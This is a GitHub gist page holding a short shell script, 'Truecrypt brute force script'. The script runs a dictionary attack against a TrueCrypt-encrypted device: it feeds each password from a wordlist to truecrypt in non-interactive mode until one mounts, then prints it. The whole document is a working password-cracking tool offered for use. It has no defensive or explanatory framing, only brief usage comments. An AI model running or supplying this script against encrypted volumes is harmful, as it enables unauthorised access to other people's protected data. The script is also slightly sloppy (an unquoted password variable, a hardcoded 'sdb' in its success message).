Skip to content

Instantly share code, notes, and snippets.

@shmaltorhbooks
Forked from melpomene/tc-brute.sh
Created November 29, 2022 13:26
Show Gist options
  • Save shmaltorhbooks/a4ccfe383849f31c590d98ff478a5c6f to your computer and use it in GitHub Desktop.
Save shmaltorhbooks/a4ccfe383849f31c590d98ff478a5c6f to your computer and use it in GitHub Desktop.
Truecrypt brute force script
#!/bin/sh
# Before use:
# * Put line seperated wordlist in file 'wordlist'
# * Change device /dev/sdX to the drive/file you want to brute force
# Call with 'sudo tc-brute.sh < wordlist'.
while read line
do
if truecrypt -t -k "" --protect-hidden=no --non-interactive /dev/sdX -p $line
then
echo "$line"
echo "Success! sdb"
exit 0
fi
done
echo "Failed."
exit 1
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment